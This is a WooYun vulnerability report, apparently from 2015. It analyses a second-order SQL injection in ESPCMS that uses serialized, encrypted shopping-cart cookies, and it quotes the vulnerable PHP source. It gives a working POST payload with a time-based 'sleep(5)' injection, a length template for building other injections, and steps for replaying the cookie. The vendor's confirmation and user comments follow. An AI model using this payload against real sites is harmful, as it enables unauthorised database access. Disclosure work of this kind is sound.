当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0159093

漏洞标题:ESPCMS二次注入最新版DEMO成功(反序列化注入)

相关厂商:易思ESPCMS企业网站管理系统

漏洞作者: Angle_G

提交时间:2015-12-07 17:58

修复时间:2016-03-03 09:24

公开时间:2016-03-03 09:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-07: 细节已通知厂商并且等待厂商处理中
2015-12-07: 厂商已经确认,细节仅向厂商公开
2015-12-10: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2016-01-31: 细节向核心白帽子及相关领域专家公开
2016-02-10: 细节向普通白帽子公开
2016-02-20: 细节向实习白帽子公开
2016-03-03: 细节向公众公开

简要描述:

RT 听说通用改版了 写的有点乱,要是看不清楚,可以先看后面的注入点的分析,再来看绕过GPC!!

详细说明:

在文件 \interface\order.php

function in_orderupdae() {
$bprice = $this->fun->accept('bprice', 'P');
$didlist = $this->fun->accept('did', 'P');
$amountlist = $this->fun->accept('amount', 'P');
foreach ($didlist as $key => $value) {
$arraykeyname = 'k' . $value;
$amount = intval($amountlist[$key]);
$orderlist[$arraykeyname] = array('did' => $value, 'amount' => $amount);
}
$orderlist_ser = serialize($orderlist);
$this->fun->setcookie('ecisp_order_list', $this->fun->eccode($orderlist_ser, 'ENCODE', db_pscode), 7200);
$buylink = $this->get_link('order', array(), admin_LNG);
header('location:' . $buylink);
}


in_orderupdate函数,这个函数是更新,购物车的但是 $didlist = $this->fun->accept('did', 'P'); 没有转换整型,导致我可以传入字符串, 在来这一句 $this->fun->setcookie('ecisp_order_list', $this->fun->eccode($orderlist_ser, 'ENCODE', db_pscode), 7200); 返回的cookie 是来自 $orderlist_ser = serialize($orderlist);
所以这里的利用是,提交控制危险字符,返回已经加密了的危险字符,然后再用加密的危险字符进行cookie注入,后台会解密嘛,这样就不要管他那个加密的KEY是个什么鬼了。。。你懂的~~~~~~~~
但是 问题来了,因为我传递一个单引号,变成了 \' 导致了在去加密的,解密出来还是 \' 并不能造成注入,图:

QQ截图20151028102842.png


QQ截图20151028104459.png


QQ截图20151028104522.png


上图的语句 明显是传进去了且解密成功了,但 还是解密出来先前转义了的,
~~于是我纠结了~~~~~~~~~~~~~~~~~~~~~~~~~~继续翻翻翻
找啊找啊,继续在 order.php 找到这个函数:

function in_list() {
parent::start_pagetemplate();
$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
$cartid = $this->fun->eccode($this->fun->accept('ecisp_order_list', 'C'), 'DECODE', db_pscode);
$cartid = stripslashes(htmlspecialchars_decode($cartid));
$uncartid = !empty($cartid) ? unserialize($cartid) : 0;
if ($uncartid && is_array($uncartid)) {
$didarray = $this->fun->key_array_name($uncartid, 'did', 'amount', '[0-9]+', '[0-9]+');
$didlist = $this->fun->format_array_text(array_keys($didarray), ',');
if (!empty($didlist)) {
$db_table = db_prefix . 'document';
$db_where = "isclass=1 AND isorder=1 AND did in($didlist) ORDER BY did DESC";
$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,
color,author,source,pic,link,oprice,bprice,click,addtime,template,filename,filepath FROM $db_table WHERE $db_where";
$rs = $this->db->query($sql);
$productmoney = 0;
while ($rsList = $this->db->fetch_assoc($rs)) {
$amount = empty($didarray[$rsList['did']]) ? 1 : intval($didarray[$rsList['did']]);
$rsList['link'] = $this->get_link('doc', $rsList, admin_LNG);
$rsList['buylink'] = $this->get_link('buylink', $rsList, admin_LNG);
$rsList['enqlink'] = $this->get_link('enqlink', $rsList, admin_LNG);
$rsList['dellink'] = $this->get_link('buydel', $rsList, admin_LNG);
$rsList['ctitle'] = empty($rsList['color']) ? $rsList['title'] : "<font color='" . $rsList['color'] . "'>" . $rsList['title'] . "</font>";
$rsList['amount'] = $amount;
$countprice = sprintf("%01.2f", $amount * $rsList['bprice']);
$rsList['countprice'] = $countprice;
$productmoney = $productmoney + $countprice;
$array[] = $rsList;
}
$this->fun->setcookie('ecisp_order_productmoney', $this->fun->eccode($productmoney, 'ENCODE', db_pscode), 7200);
}
$this->pagetemplate->assign('ordertotal', number_format($productmoney, 2));
$this->pagetemplate->assign('array', $array);
$order_integral = empty($this->CON['order_integral']) ? 1 : intval($this->CON['order_integral']);
$internum = $productmoney * $order_integral;
$this->pagetemplate->assign('internum', intval($internum));
$this->pagetemplate->assign('moneytype', $this->CON['order_moneytype']);
} else {
$this->pagetemplate->assign('ordervirtue', 'false');
}
$this->lng['sitename'] = $this->lng['ordertitle'] . '-' . $this->lng['sitename'];
$this->pagetemplate->assign('lngpack', $this->lng);
$this->pagetemplate->assign('mlink', $this->mlink);
$templatesDIR = $this->get_templatesdir('order');
$this->pagetemplate->assign('path', 'order');
$templatefilename = $lng . '/' . $templatesDIR . '/order_buy_center';
$this->pagetemplate->assign('out', 'buylist');
unset($array, $this->mlink, $LANPACK, $this->lng);
$this->pagetemplate->display($templatefilename, 'order_list', false, '', admin_LNG);
}


$cartid = $this->fun->eccode($this->fun->accept('ecisp_order_list', 'C'), 'DECODE', db_pscode);
$cartid = stripslashes(htmlspecialchars_decode($cartid));


$db_table = db_prefix . 'document';
$db_where = "isclass=1 AND isorder=1 AND did in($didlist) ORDER BY did DESC";
$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,
color,author,source,pic,link,oprice,bprice,click,addtime,template,filename,filepath FROM $db_table WHERE $db_where";
$rs = $this->db->query($sql);


解密ecisp_order_list 后,进行了 stripslashes 简直是天助我也 下面还 $uncartid = !empty($cartid) ? unserialize($cartid) : 0;
反序列化后 进行了查库处理,简直是激动了,但是 我跟进看了下 key_array_name() 瞬间~~~~~~~~~~~看代码:

function key_array_name($array = array(), $key = null, $name = null, $keymatch = false, $namematch = false) {
if (!is_array($array) || count($array) < 1) return false;
$str_array = array();
foreach ($array as $i => $value) {
$newkey = $value[$key];
if ($keymatch) {
$newkey = (!preg_match("/^$keymatch+$/i", $newkey)) ? 0 : $newkey;
}
$newname = $value[$name];
if ($namematch) {
$newname = (!preg_match("/^$namematch+$/i", $newname)) ? 0 : $newname;
}
$str_array[$newkey] = $newname;
}
return $str_array;
}


尼玛过滤了字符,擦擦擦擦~~~~~~~~~~~~~~~~~~~~~继续翻翻翻~~~~~~~~~~~~~~~
最后又看到,order.php in_buy()这个函数:

function in_buy() {
$did = intval($this->fun->accept('did', 'G', true, true));
if (empty($did)) trigger_error("Parameter error!", E_USER_ERROR);
$db_table = db_prefix . 'document';
$db_sql = "SELECT did,tsn,title,oprice,bprice FROM $db_table WHERE isclass=1 AND did=$did AND isorder=1";
$readdid = $this->db->fetch_first($db_sql);
if ($readdid) {
$cartid = $this->fun->eccode($this->fun->accept('ecisp_order_list', 'C'), 'DECODE', db_pscode);
$cartid = stripslashes(htmlspecialchars_decode($cartid));
$arraykeyname = 'k' . $did;
if (empty($cartid) || strlen($cartid) < 7) {
$orderlist = array($arraykeyname => array('did' => $did, 'amount' => 1));
$orderlist = serialize($orderlist);
} else {
var_dump($cartid);
$orderid = unserialize($cartid);
var_dump($orderid);
if (is_array($orderid) && array_key_exists($arraykeyname, $orderid)) {
$amount = $orderid[$arraykeyname]['amount'] + 1;
unset($orderid[$arraykeyname]);
$nowcart = array($arraykeyname => array('did' => $did, 'amount' => $amount));
$newcart = array_merge($orderid, $nowcart);
$orderlist = serialize($newcart);
} elseif (is_array($orderid)) {
$nowcart = array($arraykeyname => array('did' => $did, 'amount' => 1));
$newcart = array_merge_recursive($nowcart, $orderid);
$orderlist = serialize($newcart);
var_dump($orderlist);
} else {
$nowcart = array($arraykeyname => array('did' => $did, 'amount' => 1));
$orderlist = serialize($newcart);
}
}
$this->fun->setcookie('ecisp_order_list', $this->fun->eccode($orderlist, 'ENCODE', db_pscode), 7200);
$buylink = $this->get_link('order', array(), admin_LNG);
header('location:' . $buylink);
} else {
$linkURL = $_SERVER['HTTP_REFERER'];
$this->callmessage($this->lng['order_buy_err'], $linkURL, $this->lng['gobackbotton']);
}
}


解密 ecisp_order_list 后,stripslashes 去掉 \ 然后反序列 在返回加密cookie 简直又看到希望,大晚上的又兴奋了~~~~~~~
于是测试,发现发序列简直是要了我的命~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~此处又fuck了,~~上图:

QQ截图20151028110219.png


打印 反序列 bool(false)
原因是:a:1:{s:5:"k32'";a:2:{s:3:"did";s:4:"32'";s:6:"amount";i:1;}} ~~~~~ s:5:后面只有四位,因为 stripslashes 去掉了 \ ;原来5位的,现在只剩4位了,反序列不出来了~~~~~~~~~~~~~~~~~~~~简直不忍直视~~啊啊啊啊啊啊啊啊啊啊啊
当然不能放弃,要想个什么办法,构造出来,正常的 反序列 格式,经过几天的辛苦 各种尝试测试~~~~~~~~,总算有了结果:
用张图说明一下,传递的did这个值,是32,忽然发现在反序列字符串里面两次调用~~~于是可以完美控制了~~~~~~~这也是这个漏洞的,精华之处

QQ截图20151028112342.png


QQ截图20151028112724.png


QQ截图20151028112954.png


测试完美通过,要在插入语句只需要 在后面加上语句就可以了,did s:字符长度是可以控制的,这也算是绕过新思路吧~~
post提交data:

bprice%5B%5D=5000.00&did%5B%5D=32";a:2:{s:3:"did";s:1:"'&amount%5B%5D=1&countprice%5B%5D=5000.00&Submit=%E6%9B%B4%E6%96%B0%E8%B4%AD%E7%89%A9%E8%BD%A6


构造格式:

构造语句:did%5B%5D=32";a:2:{s:3:"did";s:语句长度:"'语句     ;!!按这种格式修改就可以了


一定要注意语句长度的s后面是长度,在就是语句长度
到这一步,in_buy()函数 反序列,在把结果加密,返回cookie ,返回的cookie就是带着 exp回来的,然后在提交注入就 ok
~~~~~~~~~~~~~~~~~~~~~来看注入点~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/interface/membermain.php in_save()函数

function in_save() {
parent::start_pagetemplate();
parent::member_purview();
$linkURL = $this->mlink['center'];
if (!$this->fun->is_token()) {
$this->callmessage($this->lng['repeatinput'], $linkURL, $this->lng['gobackbotton']);
}
$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
$inputclass = $this->fun->accept('inputclass', 'R');
$upurl = $this->fun->accept('upurl', 'R');
$userid = intval($this->ec_member_username_id);
$username = $this->fun->accept('username', 'P');
if (!empty($username)) {
if (!preg_match("/^[^!@~`\'\"#\$\%\^&\*\(\)\+\-\{\}\[\]\|\\/\?\<\>\,\.\:\;]{2,16}$/i", $username)) {
$this->callmessage($this->lng['username_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']);
}
}
if (empty($userid) || empty($username)) {
$linkURL = $this->mlink['center'];
$this->callmessage($this->lng['member_edit_ok'], $linkURL, $this->lng['gobackurlbotton']);
}
$email = trim($this->fun->accept('email', 'P'));
if (!empty($email)) {
if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) {
$this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']);
}
}
$question = trim($this->fun->accept('question', 'P', true, true));
$answer = trim($this->fun->accept('answer', 'P', true, true));
$alias = trim($this->fun->accept('alias', 'P', true, true));
$alias = $this->fun->substr($alias, 20);
$sex = $this->fun->accept('sex', 'P');
$sex = empty($sex) ? 0 : 1;
$tel = trim($this->fun->accept('tel', 'P', true, true));
$tel = $this->fun->substr($tel, 10);
$mobile = trim($this->fun->accept('mobile', 'P', true, true));
$mobile = $this->fun->substr($mobile, 10);
$birthday = $this->fun->accept('birthday', 'P');
if (!empty($birthday)) {
if (!preg_match("/^[0-9]{4}(\-|\/){0-9}{1,2}(\-|\/){0-9}{1,2}$/i", $birthday)) {
$birthday = intval($this->fun->formatdate($birthday, 4));
}
} else {
$birthday = 0;
}
$country = intval($this->fun->accept('cityone', 'P'));
$country = empty($country) ? 0 : $country;
$province = intval($this->fun->accept('citytwo', 'P'));
$province = empty($province) ? 0 : $province;
$city = intval($this->fun->accept('citythree', 'P'));
$city = empty($city) ? 0 : $city;
$district = intval($this->fun->accept('district', 'P'));
$district = empty($district) ? 0 : $district;
$address = trim($this->fun->accept('address', 'P', true, true));
$address = $this->fun->substr($address, 150);
$zipcode = trim($this->fun->accept('zipcode', 'P', true, true));
$zipcode = $this->fun->substr($zipcode, 10);
$zipcode = empty($zipcode) ? 0 : $zipcode;
$msn = trim($this->fun->accept('msn', 'P', true, true));
$qq = intval($this->fun->accept('qq', 'P'));
$qq = empty($qq) ? 0 : $qq;
$db_table = db_prefix . 'member';
$db_table2 = db_prefix . 'member_value';
$date = time();
$linkURL = $_SERVER['HTTP_REFERER'];
if ($inputclass == 'editinfo') {
$mvid = intval($this->fun->accept('mvid', 'P'));
$modelatt = $this->get_memberatt_array($lng);
if (is_array($modelatt)) {
$modelarray = array();
foreach ($modelatt as $key => $value) {
if ($value['inputtype'] == 'htmltext') {
$value['accept'] = 'html';
} elseif ($value['inputtype'] == 'checkbox') {
$value['accept'] = 'checkbox';
} elseif ($value['inputtype'] == 'string' || $value['inputtype'] == 'img' || $value['inputtype'] == 'addon' || $value['inputtype'] == 'video' || $value['inputtype'] == 'select' || $value['inputtype'] == 'radio' || $value['inputtype'] == 'selectinput') {
$value['accept'] = 'text';
} elseif ($value['inputtype'] == 'editor' || $value['inputtype'] == 'text') {
$value['accept'] = 'editor';
} elseif ($value['inputtype'] == 'int') {
$value['accept'] = 'int';
} elseif ($value['inputtype'] == 'float' || $value['inputtype'] == 'decimal') {
$value['accept'] = 'float';
} elseif ($value['inputtype'] == 'datetime') {
$value['accept'] = 'data';
}
$modelarray[] = $value;
}
$userinstall = null;
$userinstalldb = null;
foreach ($modelarray as $key => $value) {
$userinstall.=$value['attrname'] . ',';
if ($value['accept'] == 'int') {
$valuestr = intval($this->fun->accept($value['attrname'], 'P'));
$valuestr = empty($valuestr) ? 0 : $valuestr;
$userinstalldb.="$valuestr,";
$userupdatedb.=$value['attrname'] . "=$valuestr,";
} elseif ($value['accept'] == 'float') {
$valuestr = floatval($this->fun->accept($value['attrname'], 'P'));
$valuestr = empty($valuestr) ? 0 : $valuestr;
$userinstalldb.="$valuestr,";
$userupdatedb.=$value['attrname'] . "=$valuestr,";
} elseif ($value['accept'] == 'html') {
$valuestr = $this->fun->accept($value['attrname'], 'P');
$valuestr = empty($valuestr) ? '' : $this->fun->Text2Html($valuestr);
$userinstalldb.="'$valuestr',";
$userupdatedb.=$value['attrname'] . "='$valuestr',";
} elseif ($value['accept'] == 'editor') {
$valuestr = $this->fun->accept($value['attrname'], 'P', true, true);
$valuestr = $this->fun->substr($valuestr, 1000);
$userinstalldb.="'$valuestr',";
$userupdatedb.=$value['attrname'] . "='$valuestr',";
} elseif ($value['accept'] == 'text') {
$valuestr = $this->fun->accept($value['attrname'], 'P', true, true);
$valuestr = $this->fun->substr($valuestr, 150);
$userinstalldb.="'$valuestr',";
$userupdatedb.=$value['attrname'] . "='$valuestr',";
} elseif ($value['accept'] == 'data') {
$valuestr = $this->fun->accept($value['attrname'], 'P', true, true);
$valuestr = empty($valuestr) ? 0 : strtotime($valuestr);
$valuestr = intval($valuestr);
$userinstalldb.="$valuestr,";
$userupdatedb.=$value['attrname'] . "=$valuestr,";
} elseif ($value['accept'] == 'checkbox') {
$valuestr = $this->fun->accept($value['attrname'], 'P', true, true);
$valuestr = is_array($valuestr) ? implode(',', $valuestr) : '';
$userinstalldb.="'$valuestr',";
$userupdatedb.=$value['attrname'] . "='$valuestr',";
}
}
}
$db_where = "userid=$this->ec_member_username_id AND username='$this->ec_member_username' ";
//var_dump($db_where);
$db_set = "sex=$sex,birthday=$birthday,country=$country,province=$province,city=$city,district=$district,alias='$alias',
address='$address',zipcode='$zipcode',tel='$tel',qq=$qq,msn='$msn'";
$this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);
if ($userinstalldb) {
if ($mvid) {
$db_where = 'userid=' . $this->ec_member_username_id . ' AND mvid=' . $mvid;
$db_values = substr($userupdatedb, 0, strlen($userupdatedb) - 1);
$this->db->query('UPDATE ' . $db_table2 . ' SET ' . $db_values . ' WHERE ' . $db_where);
} else {
$db_field = $userinstall . 'userid';
$db_values = $userinstalldb . $userid;
$this->db->query('INSERT INTO ' . $db_table2 . ' (' . $db_field . ') VALUES (' . $db_values . ')');
}
}
$linkURL = $this->mlink['center'];
$this->callmessage($this->lng['member_edit_ok'], $linkURL, $this->lng['gobackurlbotton']);
}
if ($inputclass == 'editpassword') {
if ($this->CON['mem_isucenter']) {
include_once admin_ROOT . 'public/uc_client/client.php';
}
$oldpassword = md5($this->fun->accept('oldpassword', 'P'));
$password = md5($this->fun->accept('password', 'P'));
$password_uc = $this->fun->accept('password', 'P');
$oldpassword_uc = $this->fun->accept('oldpassword', 'P');
$db_where = "userid=$this->ec_member_username_id AND username='$this->ec_member_username' AND password='$oldpassword'";
$db_sql = "SELECT * FROM $db_table WHERE $db_where";
$rsMember = $this->db->fetch_first($db_sql);
if (!$rsMember) {
$linkURL = $this->mlink['memedit_password'];
$this->callmessage($this->lng['password_input_err'], $linkURL, $this->lng['gobackbotton']);
} else {
$db_set = "password='$password'";
$this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);
if ($this->CON['mem_isucenter']) {
$data = uc_get_user($username);
if ($data) {
list($uid2, $username2, $email2) = $data;
uc_user_edit($username, $oldpassword_uc, $password_uc, $email2);
}
}
if ($this->CON['is_moblie'] && $rsMember['ismoblie']) {
$rsMember = $this->get_member('', $this->ec_member_username_id);
$rsMember['newpassword'] = $password_uc;
$this->membersmssend($rsMember, $rsMember['mobile'], 'memberedit');
}
$linkURL = $this->mlink['quit'];
$this->callmessage($this->lng['password_ok'], $linkURL, $this->lng['out_botton']);
}
}
if ($inputclass == 'editmail') {
if ($this->CON['mem_isucenter']) {
include_once admin_ROOT . 'public/uc_client/client.php';
}
$linkURL = $this->mlink['memedit_email'];
if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) {
$this->callmessage($this->lng['email_err'], $linkURL, $this->lng['gobackbotton']);
}
$password = md5($this->fun->accept('password', 'P'));
$password_uc = $this->fun->accept('password', 'P');
$db_where = "userid=$this->ec_member_username_id AND username='$this->ec_member_username' AND password='$password'";
$db_sql = "SELECT * FROM $db_table WHERE $db_where";
$rsMember = $this->db->fetch_first($db_sql);
if (!$rsMember) {
$this->callmessage($this->lng['password_input_err'], $linkURL, $this->lng['gobackbotton']);
} else {
$db_set = "email='$email'";
$this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);
if ($this->CON['mem_isucenter']) {
$data = uc_get_user($username);
if ($data) {
list($uid2, $username2, $email2) = $data;
uc_user_edit($username, $password_uc, $password_uc, $email);
}
}
$linkURL = $this->mlink['center'];
$this->callmessage($this->lng['email_edit_ok'], $linkURL, $this->lng['gobackurlbotton']);
}
}
}


这一句 parent::member_purview(); 函数刚开始 就使用parent调用了父类的member_purview() 函数 之后看这句 $db_where = "userid=$this->ec_member_username_id AND username='$this->ec_member_username' ";又继承拿了 member_purview() 函数中的 ec_member_username变量然后就这样赤裸裸得入库了
跟进看一下member_purview() 函数

function member_purview($userrank = false, $url = null, $upurl = false) {
$this->ec_member_username = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode);
$user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));
list($ec_member_username_id, $this->ec_member_alias, $ec_member_integral, $ec_member_mcid, $this->ec_member_email, $this->ec_member_lastip, $this->ec_member_ipadd, $this->ec_member_useragent, $this->ec_member_adminclassurl) = $user_info;
$this->ec_member_username_id = intval($ec_member_username_id);
$this->ec_member_integral = intval($ec_member_integral);
$this->ec_member_mcid = intval($ec_member_mcid);
if (empty($this->ec_member_username) && empty($this->ec_member_username_id) && md5(admin_AGENT) != $this->ec_member_useragent && md5(admin_ClassURL) != $this->ec_member_adminclassurl) {
$this->condition = 0;
if ($url) {
$this->fun->setcookie('ecisp_login_link', $url, 3600);
} elseif ($upurl) {
$nowurl = 'http://' . $_SERVER["HTTP_HOST"] . $this->fun->request_url();
$this->fun->setcookie('ecisp_login_link', $nowurl, 3600);
}
$linkURL = $this->get_link('memberlogin', array(), admin_LNG);
$mlink = $this->memberlink(array(), admin_LNG);
$this->callmessage($this->lng['memberloginerr'], $linkURL, $this->lng['memberlogin'], 1, $this->lng['member_regbotton'], 1, $mlink['reg']);
} else {
$this->condition = 1;
if ($this->ec_member_mcid < $userrank && $userrank) {
$linkURL = $this->get_link('memberlogin', array(), admin_LNG);
$this->callmessage($this->lng['memberpuverr'], $linkURL, $this->lng['gobackurlbotton']);
}
}
return $this->condition;
}


$this->ec_member_username 来自 cookie 字段 ecisp_member_username 且用了 eccode 函数解密 只要 构造一个 带有注入的 加密ecisp_member_username 就可以 达到注入了
而这个 ecisp_member_username 的值就是 刚刚上面分析返回给的值,这样达到三次注入!!!!!!!!

漏洞证明:

在更新购物车修改,did参数:看POST data数据!

POST /espcms10/index.php?ac=order&at=orderupdae HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://**.**.**.**/espcms10/index.php?ac=order&at=list
Cookie: bdshare_firstime=1445586083691; 9299294b2040e387033543351c503085=fa15a2a66b26a74567da8dfe1260923b58af5648a%3A4%3A%7Bi%3A0%3Bs%3A2%3A%2239%22%3Bi%3A1%3Bs%3A15%3A%22admin%**.**.**.**%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A1%3A%7Bs%3A11%3A%22displayName%22%3Bs%3A5%3A%22admin%22%3B%7D%7D; CNZZDATA1702264=cnzz_eid%3D479960820-1445841637-%26ntime%3D1445841637; CNZZDATA1254932726=1745248219-1445842596-http%253A%252F%252F**.**.**.**%252F%7C1445914366; PHPSESSID=edkvqi8smtiuveqqdqim5h1096; TS4_TSV3_LOGGED_USER=zMR4bi5IPuYTdC7b8W5XoaOz3Tg5p5SD; cookiecheckrld9d52c339d394be65987ecb4c3d490aa=1445925232; TestCookie=my+cookie+value; ecisp_home_seccode=U841tciq0K9mhckaMj0wDJQV92ODMLezitD5%2FZ%2F%2FLik%3D; ecisp_member_username=Wf29OBR28gMxk%2B9tFMFGm6sH%2FN0B8HG3ouaBqQgtQ6E%3D; ecisp_member_info=9zso0LECSpTYFxSewn5olv0etWCzt1NOYsc4NEXTVdvSmj5AL84Fjf7xobhojF3DSQ4C2jh2gVotKbqQygBhxPsydhacPtjl78ItBKAz%2BadGmuxoJBEGudVEzU5SfvYHDi1k6o%2FE7rAyS13sa1G2ila5h7fV%2BMoqOYbgZ0AQiz4%3D; ecisp_order_list=h1KbkJsyiVqP3PAaOR30o82Tnmv2t17%2FDyhGG3KjIboe%2F8TFYaW14R16ZdyVYybfYcOjn7R9a%2Fa28IkYFUrlnA%3D%3D; ecisp_order_productmoney=oiX7A98eXZadqGLmCIfNUJaJGYhlMLHjfktVgkTN0o8%3D
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
bprice%5B%5D=5000.00&did%5B%5D=32";a:2:{s:3:"did";s:18:"' or sleep(5)-- or&amount%5B%5D=1&countprice%5B%5D=5000.00&Submit=%E6%9B%B4%E6%96%B0%E8%B4%AD%E7%89%A9%E8%BD%A6


s:18是后面注入语句的长度,前面不变,不然反序列失败

did%5B%5D=32";a:2:{s:3:"did";s:18:"' or sleep(5)-- or


就是说如果你要注入aa

did%5B%5D=32";a:2:{s:3:"did";s:2:"aa


就是说如果你要注入aabb

did%5B%5D=32";a:2:{s:3:"did";s:4:"aabb


一次类推
..........
返回的cookie记录下图:

QQ截图20151028141413.png


然后在返回的COOKIE 再添加购物车的数据包 地方替换掉cookie 下图:

QQ截图20151028141631.png


在拿到返回的cookie 就是带有攻击语句且加密了的 字符串了~~~~~~~~~~~~~
然后在提交资料修改处替换掉 ecisp_member_username 值:下图

QQ截图20151028142118.png


后端抓取SQL语句:

QQ截图20151028142322.png


QQ截图20151028142343.png


DEMO截图,注入成功的,我本地打印了结果

QQ截图20151028114424.png

修复方案:

你们更懂

版权声明:转载请注明来源 Angle_G@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-07 21:14

厂商回复:

感谢,我们会对程序进行改进!

最新状态:

2016-01-22:已修复


漏洞评价:

评价

  1. 2015-12-07 18:07 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    好分析!

  2. 2015-12-07 18:11 | 玉林嘎 认证白帽子 ( 核心白帽子 | Rank:933 漏洞数:107 )

    前排占个位

  3. 2015-12-07 18:30 | Mieless ( 实习白帽子 | Rank:35 漏洞数:10 | 我是来打酱油的。)

    wtf

  4. 2015-12-07 18:55 | 牛肉包子 ( 普通白帽子 | Rank:296 漏洞数:69 | baozisec)

    mark

  5. 2015-12-07 19:07 | Angle_G 认证白帽子 ( 普通白帽子 | Rank:113 漏洞数:16 | 万物归心)

    @疯狗 给刀呢 哥哥 =_=!

  6. 2015-12-07 19:28 | 千与千寻 ( 路人 | Rank:23 漏洞数:5 | 感谢乌云给了我这么好的学习机会!)

    笼包请吃小笼包啊?

  7. 2015-12-07 20:08 | f4ckbaidu ( 普通白帽子 | Rank:223 漏洞数:28 | 开发真是日了狗了)

    66666,mark

  8. 2015-12-07 20:15 | onpu ( 普通白帽子 | Rank:167 漏洞数:37 | 勿忘初心)

    估计有2刀

  9. 2015-12-07 20:46 | Xser ( 普通白帽子 | Rank:365 漏洞数:83 | JDSec)

    2k了准备

  10. 2015-12-07 22:08 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )

    mark

  11. 2015-12-11 00:25 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    NB!

  12. 2016-02-11 01:14 | niexinming ( 普通白帽子 | Rank:219 漏洞数:39 | 好好学习,天天日站)

    这个叼